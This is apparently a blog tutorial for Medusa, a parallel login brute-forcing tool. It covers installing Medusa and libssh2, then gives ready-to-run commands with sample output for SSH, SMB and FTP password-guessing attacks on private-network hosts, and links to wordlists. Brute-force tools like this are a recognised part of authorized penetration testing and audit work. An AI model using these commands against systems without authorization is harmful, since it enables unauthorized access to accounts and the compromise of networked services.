Medusa – Multi-protocol brute force utility

Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible. The author considers following items as some of the key features of this application:

• Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.
• Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries. Additionally, a combination file format allows the user to refine their target listing.
• Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.
• Multiple protocols supported. Many services are currently supported (e.g. SMB,  HTTP, POP3,  MS-SQL, SSHv2, among others).

Available Brute force modules:

AFP CVS FTP HTTP IMAP MS-SQL MySQL NetWare NCP NNTP PcAnywhere POP3 PostgreSQL REXEC

RLOGIN RSH SMBNT SMTP-AUTH SMTP-VRFY SNMP SSHv2 Subversion (SVN) Telnet VMware Authentication Daemon VNC Generic Wrapper Web Form

Compilation Process:

Select AllCode:

% wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
% tar -zxvf medusa-2.0.tar.gz ; cd medusa-2.0
% ./configure ; make ; make install

Also for SSH support download and install libssh2 library:

Select AllCode:

% wget http://downloads.sourceforge.net/project/libssh2/libssh2/1.1/libssh2-1.1.tar.gz?use_mirror=sunet
% tar -zxvf libssh2-1.1.tar.gz ; cd libssh2-1.1
% ./ configure ; make ; make install

SSH Brute Force:

Select AllCode:

% medusa -M ssh -H host.txt -U users.txt -p password
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
 
ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: foo (1 of 4, 0 complete) Password: password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: administrator (2 of 4, 1 complete) Password: password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: jmk (3 of 4, 2 complete) Password: password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.1 (1 of 11, 0 complete) User: bar (4 of 4, 3 complete) Password: password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 1 complete) User: foo (1 of 4, 0 complete) Password: password (1 of 1 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 1 complete) User: administrator (2 of 4, 1 complete) Password: password (1 of 1 complete)
ALERT: Medusa received SIGINT - Sending notification to login threads that we are are aborting.
ACCOUNT CHECK: [ssh] Host: 192.168.0.11 (2 of 11, 1 complete) User: jmk (3 of 4, 2 complete) Password: password (1 of 1 complete)
ALERT: To resume scan, add the following to your original command: "-Z h2u3u4h3."

SMB Brute Force:

Select AllCode:

% medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt
 
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
 
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password:  (1/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: administrator (2/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: password (3/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass1 (4/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass2 (5/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass3 (6/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass4 (7/7)

FTP Brute Force:

Select AllCode:

% medusa -u test -P passwords.txt -h 192.168.0.20 -M ftp
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
 
ACCOUNT CHECK: [ftp] Host: 192.168.0.20 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 12345 (1 of 100 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.0.20 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: password (2 of 100 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.0.20 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: 123456 (3 of 100 complete)

Download: http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz

Download GUI: http://wiki.taksmind.org/index.php?title=Medusa-gui

Word lists: http://www.outpost9.com/files/WordLists.html

Documentation: http://www.foofus.net/~jmk/medusa/medusa.html

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